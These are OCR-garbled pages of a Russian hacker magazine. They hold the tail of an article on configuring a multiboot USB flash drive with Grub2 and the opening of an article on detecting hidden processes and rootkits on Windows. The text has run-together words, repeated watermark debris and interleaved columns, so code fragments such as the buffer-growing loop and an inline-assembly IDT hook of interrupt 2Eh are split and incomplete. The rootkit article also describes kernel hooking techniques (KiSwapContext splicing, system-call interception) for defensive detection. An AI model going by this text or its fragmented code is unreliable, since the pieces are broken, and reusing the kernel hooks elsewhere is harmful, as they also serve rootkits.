Впроцессесозданиямультизагрузочнойфлешкимнепонадобилосьмногоразтестиро-
ватьполученныйрезультат. Чтобынеперезагружатьноутбуккаждыйразпривнесении измененийвконфигзагрузчика, яиспользовалVirtualBox. Правда, VirtualBox неподдерживаетзагрузкусUSB, ипришлосьприбегнутькмаленькомутрюку— представлению флешкикакобразавиртуальногожесткогодиска.
ПриустановленномVirtualBox (версиинениже1.4), чтобы/dev/sdb представитькакобраз виртуальногожесткогодиска, надодатькоманду:
$ sudo VBoxManage internalcommands createrawvmdk -filename /home/username/flash. vmdk -rawdisk /dev/sdb
Затемввиртуальноймашиневкачествежесткогодискауказать/home/username/flash. vmdk (приэтомупользователя, откоторогозапущенавиртуальнаямашина, должныбыть праванадоступк/dev/sdb).
md |
/var/logmfs |
rw,- |
|
s16M,nosuid,noatime |
0 |
0 |
|
|
|
|
|
Поумолчаниюприперезагрузкев/var/log создаютсяневсефайлы(несоздается, например, / var/log/wtmp, аоннужентакимсистемнымутилитам, какlogin, last, who ит.п.) Этоповедение можноизменитьвфайле/etc/newsyslog.conf.
Достаточнокстрокес/var/log/wtmp добавить
«C»:
# ee /etc/newsyslog.conf
/var/log/wtmp 644 |
3 |
* |
@01T05BC |
|
|
|
|
|
ДЕСЕРТ
ПеренесемсодержимоеDrWeb LiveCD (каталог boot) насоответствующийразделипропишем вgrub.cfg:
$ sudo nano /media/Ubuntu/boot/grub/grub. cfg
menuentry «DrWEB» { set root=(hd0,6)
linux /boot/vmlinuz root=/dev/ ram0 init=/linuxrc init_opts=4 dokeymap looptype=squashfs loop=/module/white.mo usbroot initrd=/boot/initrd vga=791
splash=silent,theme:drweb CONSOLE=/ dev/tty1
initrd /boot/initrd
}
menuentry «DrWEB safe» { set root=(hd0,6)
linux /boot/vmlinuz init_opts=3 root=/dev/ram0 quiet dokeymap looptype=squashfs loop=/module/ white.mo usbroot slowusb init=/ linuxrc
initrd /boot/initrd
}
СдискаSystem Rescue CD скопируемв соответствующийразделкаталогиisolinux и ntpasswd, атакжефайлыsysrcd.dat, sysrcd.md5
иversion. ДобавимвконфигGrub’апункты:
$ sudo nano /media/Ubuntu/boot/grub/grub. cfg
menuentry «System Rescue CD» { set root=(hd0,5)
linux /isolinux/rescuecd initrd /isolinux/initram.igz
}
# Альтернативное ядро (более старая версия) — на случай, если не загрузится основное
menuentry "System Rescue CD altker"
{
set root=(hd0,5)
linux /isolinux/altker32 initrd /isolinux/initram.igz
}
System Rescue CD содержиттакже64-битные
084 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
МенюGrub2
ЗагрузкаUbuntu сфлешки
ядра, ноонимогутпригодитьсялишьводномслучае— принеобходимостисделатьchroot в64-битнуюсистему, поэтомунет смыславыноситьихвменюзагрузчика. Кроместандартных параметров(типаacpi=off), ядроSystem Rescue CD можетпри загрузкеприниматьразличныеспецифическиепараметры, самыеполезныеизкоторых:
•setkmap=uk — призагрузкенеспрашиваетраскладку, устанавливаетuk.
•docache — загружаетвсюсистемувОЗУ(потребуетсяне менее300 Мб).
•forcevesa — использоватьвидеодрайверvesa (полезнопри проблемахсвидеорежимом).
•dostartx — запускатьиксыпризагрузке.
ВкомплектесSystem Rescue CD идеттакжеворохзагрузочныхдискет: FreeDOS, mhdd, aida (прогадляполучения информацииожелезе), gag (загрузчик), ranish (менеджер разделов, аналогfdisk), dban (утилитадляуничтожения данныхсвинтов), memtest. ИзвсехдискетмнемогутпригодитьсятолькоFreeDOS иmhdd. Grub2 сможетзагрузитьэти дискетыприпомощиmemdisk (изсоставапакетаsyslinux). Яскопировалфайлыfreedos.img иmhdd.img, атакжефайл
/usr/lib/syslinux/memdisk вкаталог/bootdisk напервом разделе. Вgrub.cfg добавил:
$ sudo nano /media/Ubuntu/boot/grub/grub.cfg
menuentry «FreeDOS» { set root=(hd0,1)
linux16 /bootdisk/memdisk initrd16 /bootdisk/freedos.img
}
menuentry «MHDD» { set root=(hd0,1)
linux16 /bootdisk/memdisk initrd16 /bootdisk/mhdd.img
}
КРАСОТАСПАСЕТМИР
Нувот, всегрузитсяиработает. Ночерноеменюсбелымибук-
XÀÊÅÐ 11 /131/ 09
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
DrWeb собственнойперсоной
вами— слишкомобыденно, хочетсядобавитькрасивостей. Ксожалению, модульgfxmenu (grub.gibibit.com) ещене включенвосновнуюветкуGrub2 (из-занедостаточнойста- бильности), поэтомусоздатьполностьюкастомизированное менюнеполучится. Нокое-чтосделатьвсе-такиможно. Grub2 имеетдварежимаотображенияменю: console (по умолчанию) иgfxterm.
Последнийпозволяетпоставитьфоновоеизображениеи использоватьпроизвольныйшрифт(прииспользовании юникодногошрифтапунктыменюмогутбытьнарусском), правда, засчетнезначительногоувеличениявремени загрузки. Длявключенияgfxterm надовgrub.cfg добавить:
$ sudo nano /media/Ubuntu/boot/grub/grub.cfg
#Загружаем модули insmod gfxterm insmod vbe
insmod font insmod png
#Указываем расположение шрифта loadfont (hd0,3)/boot/unicode.pf2 set gfxmode=640x480
#Переключаем режим отображения в gfxterm terminal_output gfxterm
#Указываем расположение фонового изображения background_image (hd0,3)/boot/x.png
Шрифт можно скопировать отсюда /usr/share/grub/ unicode.pf2 (или /usr/share/grub/ascii.pf2, если не нужен юникод) или сконвертировать из любого имеющегося в формате bdf (с помощью grub-mkfont).
Фоновое изображение можно либо выбрать из пакета grub2-splashimages (будет располагаться в /usr/share/ images/grub), либо сконвертировать самому. Grub2 понимает изображения в форматах png, jpeg и tga (необходимо загрузить соответствующий модуль для каждого формата) и разрешении 640x480. За несколько минут в Gimp’е я набросал простенький splashimage в стиле z.
Цветнадписейиэлементовменюзадаетсяспомощью командcolor_normal иcolor_highlight вформатеforeground/ background. Списокдоступныхцветовможнопосмотретьна страничкеwww.gnu.org/software/grub/manual/html_node/ color.html.
DVD |
dvd
Наприлагаемом кжурналудискеты найдешьgrub.cfg,
splashimage, DrWeb LiveCD иSystem Rescue CD.
HTTP://WWW
links
•Дополнительная информацияпо установкеLinux нафлешку: www. pendrivelinux.com.
•Домашняястрани-
цаGrub2: www.gnu. org/software/grub/ grub-2.en.html.
•Статья, посвящен-
наяMFS: old.softerra. ru/freeos/16111/ page1.html.
INFO |
info
• Наслучайотсутствияуцелевогокомпьютеравозможности загрузкисUSB можно сделатьUSB Boot CD
дляконкретногодистрибутива(сзагрузчиком, ядромиinitrd). Подробностиздесь: www.pendrivelinux. com/category/usb- boot-cds.
REBOOT
Теперьточновсе! Можноперезагружатьсяинаслаждаться результатамипроделаннойработы.
P.S. Необязательноостанавливатьсяименнонаописанных дистрибутивах— поаналогииможнозагружатьлюбой линуксовыйLiveCD. z
085
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
|
CODING |
|
|||
|
|
|
|
|
|
m |
АЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU |
||||||
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
ring0 |
ring0 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
usermode |
usermode |
ПРОЯВИТЕЛЬ
ДЛЯТРОЯНОПИСАТЕЛЕЙ
Детектируемскрытыепроцессы вusermodeиring0
ИТАК, ДРУГ МОЙ, СЕГОДНЯ Я ОСОБЕННО СУРОВ И К ДОЛГИМ ИНТРОДУКЦИЯМ НЕ СКЛОНЕН. ПОЭТОМУ БУДУ КРАТОК: РЕЧЬ ПОЙДЕТ О ТОМ, КАК, ИМЕЯ ОТНОСИТЕЛЬНО ПРЯМЫЕ РУКИ, ГОЛОВУ НА ПЛЕЧАХ И УМЕНИЕ ПОЛЬЗОВАТЬСЯ ДИЗЗАССЕМБЛЕРОМ ДЛИН ИНСТРУКЦИЙ, МОЖНО ПОЧТИ СО 100% ВЕРОЯТНОСТЬЮ ВЫЯВЛЯТЬ И БРАТЬ ПОД
КОНТРОЛЬ ПРОЦЕССЫ, КОТОРЫЕ ЗЛЫЕ НЕДОБРОЖЕЛАТЕЛИ ПЫТАЮТСЯ СКРЫТНО ЗАПУСТИТЬ НА ТВОЕМ КОМПЬЮТЕРЕ.
ПЕСОЧНИЦА
Немногоотом, счемпридетсяиметьдело. Почтивсеметодысокрытияпроцессовот таскменеджеровиразличныхпросмотрщиковфактическиоснованынаперехвате
NtQuerySystemInformation (каквядре, так ивring3), атакжеисключенииструктуры EPROCESS издвунаправленногоспискав
ядре. Дальшефантазияпрогеровпочему-то неидет. Этосвязаносоднойконструктивной особенностьюсуществованияпроцессовв ОСWindows — можно, кпримеру, подсуетитьсяисоспискамипроцессов, истаблицами хендлов, ноединственное, чтоделатькатегорическинельзя— исключатьпроцессизсписковпланировщикаWindows. Впротивном
случаепроцесснеполучитпроцессорного временииегокодпростонебудетвыполнен. Именнопоэтойпричинесоздатьполностью невидимыйпроцессвОСWindows нельзя, авирусыитрояны, существующиеввиде
отдельногопроцесса— вещьнеумная, характеризующаясвоегосоздателякакнеумелого программиста. Вцелом, жизнедеятельность
086 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
процессавWindows — чрезвычайношумнаяштука, посколькупроцесс |
|
|
|
|
ExFreePool(pointer); |
|
||
|
оставляетследыпрактическивезде, начинаяототкрытыххендлов |
ulSize = ulSize * 2; |
|
|
|
изаканчиваяпереключениемконтекстапотока. Исоответственно, |
} |
|
|
|
скрытыйпроцессможнопопытатьсяобнаружитькаквusermode, таки |
|
|
|
|
|
|
||
|
вядреоперационнойсистемы. |
Теперьпредположим, чтокулхацкерсмогскрытьоткрытыепро- |
||
|
СПОСОБЫ ДЛЯ USERMODE |
цессомхендлы. Небеда! Находясьвusermode, можноперечислить |
||
|
списококон, открытыхпроцессом. Да-да, обокнах, которыесозда- |
|||
|
ПолучитьчестнымпутемсписокпроцессоввWindows очень |
ютсявсегда, почтиниктоневспоминает, поэтомувызовфункции |
||
|
легко; дляэтогосуществуютспециальныефункции, такиекак |
GetWindowThreadProcessId тебевруки! Едемдальше. |
||
|
CreateToolhelp32Snapshot иNtQuerySystemInformation — ихвызов |
Находясьвusermode, полезновспомнитьотакомоченьинтересном |
||
|
вернетнамсписокпроцессоввсистеме. Поэтомудляначаламожно |
изагадочномсистемномпроцессе, какcsrss.exe. Онявляетсячастью |
||
|
|
|
|
|
|
простосравнитьполученныеимирезультаты. Однакоспособкрайне |
пользовательскойWin32-подсистемы. СSRSS — сокращениеот |
||
|
ненадежен, посколькутроянописателивпервуюочередьперехва- |
«client/server run-time subsystem» (клиент/сервернаяподсистема) |
||
|
тываютименноэтифункции. Чтожеделать, еслинужнообойтись |
— отвечаетзаконсольныеприложения, создание/удалениепотоков |
||
|
толькоusermod’нымиспособами? Иногдадостаточновспомнить, что |
и16-битнуювиртуальнуюсредуMS-DOS. Этоофициальноеопреде- |
||
|
открытыйпроцессобладаетспискомоткрытыхимхендлов, поэтому |
лениеотMicrosoft. Отсебядобавлю— присозданииновогопроцесса |
||
|
ихперечислениеисравнениес«легальным» спискомпроцессов |
вядреWindows подсистемаобязанауведомитьcsrss.exe ознамена- |
||
|
поможетвыявитьразницу. Перечислениеоткрытыххендловпро- |
тельномсобытиисистемнымвызовомCsrClientCallServer. Еслиэтого |
||
|
цессовосуществляетсявызовомфункцииNtQuerySystemInformation |
непроизойдет, вновьсозданныйпроцессбудетработатьнесовсем |
||
|
c параметромSystemHandleInformation. Вкачествелирического |
адекватноивконцеконцоввылетитсошибкой. Такимобразом, сsrss. |
||
|
отступленияоттемы, хотелосьбызаметить, чтосистемнаяфункция |
exe ведетсвоеобразныйучетпроцессовипотоков, иэтуособенность |
||
|
NtQuerySystemInformation — функциянастолькоуниверсальная, что |
можноиспользоватьпридетектескрытыхпроцессов. |
||
|
используетсяпрактическиповсеместновцеляхполучениясамой |
Говорявсамыхобщихчертах— нужнобудетоткрытьпроцессcsrss. |
||
|
разнообразнойсистемнойинформации— отспискапроцессовдоско- |
exe вызовомOpenProcess, послечегопройтисьдизассембле- |
||
|
ростипроцессора. Этихвариантов— болеесемидесяти, всеонисо- |
ромдлининструкцийпофункциямCsrLockProcessByClientId и |
||
|
держатсявнедокументированнойструктуреSYSTEM_INFORMATION_ |
CsrLockThreadByClientId дляполученияадресанедокументиро- |
||
|
CLASS. Приееиспользованиинадообязательнопомнитьотом, что |
ваннойструктурыCSR_PROCESS, котораявсвоюочередьсодержит |
||
|
тыникогдазаранеенезнаешьразмерданных, которыетебевернет |
списокпроцессов, зарегистрированныхвcsrss.exe. Сразускажу, |
||
|
NtQuerySystemInformation, поэтомузачастуюеевызовобламывается |
— способсложныйидовольногромоздкий, новесьмаэффективный. |
||
|
ионавозвращаетSTATUS_INFO_LENGTH_MISMATCH. Вэтомслучае |
Примерреализацииищинадиске. |
||
|
простоувеличьразмервыходногобуферав2 раза. |
СПОСОБЫ ДЛЯ ПРОДВИНУТЫХ |
|
|
|
|
|
|
|
|
|
|
||
|
ПравильноеиспользованиеZwQuerySystemInformation |
|
Итак, леземвядро. Ядумаю, понятно, длячего— наэтомуровненам |
|
|
pointer = ExAllocatePool(PagedPool, ulSize); |
|
никтоникакихзапретовпоставитьнесможет, посколькувсеобладают |
|
|
memset(pointer, 0, ulSize); |
|
равнымиправами. Вring0 выигрываеттот, укогобольшеопытаитот, кто |
|
|
|
|
лучшезнаетпринципыфункционированияядра. |
|
|
if (pointer) |
|
Однимизпопулярныхметодовполученияспискапроцессоввядреоста- |
|
|
ntstatus = NtQuerySystemInformation |
|
етсяпроходподвухсвязномуспискуструктурEPROCESS. Амыбудемза- |
|
|
(SystemInfoClass, pointer, ulSize, NULL); |
|
ранееисходитьизтого, чтозлойхакерисключилнужныйемуEPROCEES |
|
|
|
|
издвунаправленногоспискапутемподменыуказателей(обэтомспособе |
|
|
if (ntstatus == STATUS_INFO_LENGTH_MISMATCH) |
|
читайвмоейстатьевмайскомzзаэтотгод). |
|
|
{ |
|
ПоговоримоспискахпланировщикаWindows, которыесодержатпотоки, |
|
|
|
|
|
|
XÀÊÅÐ 11 /131/ 09 |
087 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
CODING
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
mov ebx, idtable.Base |
|
|
|
xchg [ebx + 0x170], si |
|
|
|
rol esi, 0x10 |
|
|
|
xchg [ebx + 0x176], si |
|
|
|
ror esi, 0x10 |
|
|
|
mov point_to_old_handler, esi |
|
|
|
sti |
|
|
|
popad |
|
|
|
} |
|
|
|
} |
|
|
|
Уметодаимеетсянебольшойнедостаток— текущийспи- |
|
|
|
сокпроцессовпостоянноизменяетсяи, еслиуказатель |
|
|
|
наEPROCESS (ищеммыименноего, незабывай), будет |
|
|
|
удален, товлучшемслучаедрайвервылетитвBSOD. Об |
|
|
|
этомнадопомнить. Какэтореализоватьнапрактике? Ис- |
|
|
|
пользоватьcallback-функциюPsSetCreateProcessNotifyR |
|
|
|
outine, котораяустановитнотификатор, информирующий |
|
|
|
насосозданииилиудалениипроцесса. Ещеоднимна- |
|
РЕАЛИЗАЦИЯПЕРЕХВАТАSWAPCONTEXT |
дежнымспособомвыявленияскрытыхпроцессовможет |
||
служитьперехватSwapContext (перехватпереключения |
|||
|
|
||
|
|
потоков). ТакназываемаяпсевдомногозадачностьвОС |
|
|
подлежащиеисполнению. Главноенеудобствометодав |
Windows реализуетсятакимобразом, чточерезопреде- |
|
|
том, чтоадресасписковпотоковпланировщикаменяются |
ленныепромежуткивремени, равные10-20 мс(называе- |
|
|
отбилдакбилду, чтоприходитсяучитыватьвкоде. Напри- |
мыеквантомвремени), таймерОСгенерируетпрерыва- |
|
|
мер, вWin2K ихтри: KiWaitInListHead, KiWaitOutListHead, |
ние, котороевсвоюочередьвызываетпланировщик. И |
|
|
KiDispatcherReadyListHead. Всеонидвусвязные. Первые |
есликвантвремени, связанныйстекущимпотоком, истек, |
|
|
дваспискасодержатпотоки, ожидающиенаступления |
топроисходитпереключениепотоков. Переключение |
|
|
какого-либособытия, атретийсодержитпотоки, готовые |
потоковвыполняетсянеэкспортируемойфункциейядра |
|
|
кисполнению. Подобныйспособобнаруженияскры- |
KiSwapContext. Этафункциявызываетсяпланировщиком |
|
|
тыхпроцессовиспользуетсявKlister’e отзнаменитой |
приистеченииквантавременипотокалибоприожидании |
|
|
потрошительницыWindows ДжоаныРутковской(http:// |
потокомкакого-либособытия. Впервомслучаефункция |
|
|
invisiblethings.org/tools/klister-0.4.zip). Однакоэтотспо- |
вызываетсяизKiDispatchInterrupt, авовтором— изнеэк- |
|
|
собработаеттолькоподWin2K из-зажесткопрописанных |
спортируемойфункции, котораявсвоюочередьвызыва- |
|
|
адресовсписковпотоков. Именноадресасписковидела- |
етсяизKeWaitForSingleObject, KeDelayExecutionThread и |
|
|
ютспособнемногонеудобнымиз-заопределеннойраз- |
KeWaitForMultipleObjects. |
|
INFO |
ностивустройствеядравWin2K иWinXP (планировщикв |
Все, чтонужно— этонайтиадресKiSwapContext вядре |
|
WinXP имееттолькодваспискапотоков: KiWaitListHead и |
сиспользованиемдиззассемблерадлининструкций! |
||
|
KiDispatcherReadyListHead), таккакэтонадобудетучиты- |
Этуфункциюможнолегконайтивлюбойверсииядрапо |
|
|
ватьвпроцессепрограммирования. |
сигнатуре«0F 20 C5» (mov ebp,cr0). |
|
info |
Весьманадежнымспособомобнаруженияскрытыхпро- |
НамоментвызоваKiSwapContext регистрEDI указывает |
|
цессовявляетсяперехватсистемныхвызовов. Воснове |
наструктуруETHREAD-потока, которыйостанавливается, |
||
|
|||
ОсобенностьWindows |
методалежитаксиома, чтовсепроцессы(точнее, их |
арегистрESI — наструктуруETHREAD-потока, который |
|
XP втом, чтоперехват |
программнаялогика) обращаютсякядрусистемычерез |
получаетуправление. Вданнойситуациисплайсинг |
|
системныхвызовов |
интерфейссистемныхвызовов. Идеяметодазаключа- |
функции— самоето. Дляэтогозапишемвначалофункции |
|
долженпроизво- |
етсявтом, чтобыперехватитьобращениякинтерфейсу |
KiSwapContext инструкциюJMP нанашуhook-функцию. |
|
дитьсякакчерез |
системныхвызовов, авобработчикеполучатьуказатель |
Внеймыобрабатываемвходныепараметрытак, какнам |
|
sysenter, такичерез |
наEPROCESS текущегопроцесса. |
нужно, ипередаемуправлениеоригинальнойфункции |
|
int 2Eh, поэтомупереВwin2k длясистемноговызоваиспользуетсяпрерыва- |
черезTrampoline. Чтобыневосстанавливатьначальные |
||
хватыватьнужнооба |
ние2Eh, авWin XP — sysenter. Приэтомизсоображений |
байтыоригинальнойфункции(атопотомпридетсяискать |
|
обработчика. |
совместимостипрерывание2Eh такжеможетиспользо- |
момент, какопятьвначалезаписатьJMP), начальныеин- |
|
|
ватьсявWin XP. Все, чтодляэтогонужно— осуществить |
струкциикопируютсявспециальновыделеннуюобласть |
|
|
перехватданногопрерываниявтаблицепрерываний |
памяти, ккоторымдобавляетсяJMP напродолжение |
|
|
IDT. Коднесложный, примерперехватаint2e иsysenter, |
функции(Trampoline function). |
|
DVD |
реализованныйнаС, ищинадиске. |
Коддрайвера, реализующийперехватKiSwapContext, |
|
|
ищинадиске. |
||
|
ПЕРЕХВАТПРЕРЫВАНИЯ2EH |
ХЕНДЛЫ |
|
dvd |
void HookInt2Eh() |
||
{ |
Хендлыоткрытыхфайлов— удивительнаявещь, окоторой |
||
Надискетынайдешь |
IDTABLE idtable; |
доморощенныетроянописателичастозабывают. Полу- |
|
программнуюреали- |
__asm |
читьсписокоткрытыххендловможнокаквusermod’ном |
|
зациюрассматривае- |
{ |
режиме, такинепосредственновядреWindows. Для |
|
мыхспособовдетекта |
pushad |
этого, какговорилосьвыше, используетсяужеизвестная |
|
скрытыхпроцессов, |
cli |
намсистемнаяфункцияZwQuerySystemInformation с |
|
книжки-раскраски |
sidt [idtable] |
переданнымейпараметромSystemHandleInformation. К |
|
ируткит-хантеры. |
mov esi, point_to_new_handler |
примеру, этотнехитрыйспособбудетвыявлятьпроцессы, |
088 |
XÀÊÅÐ 11 /131/ 09 |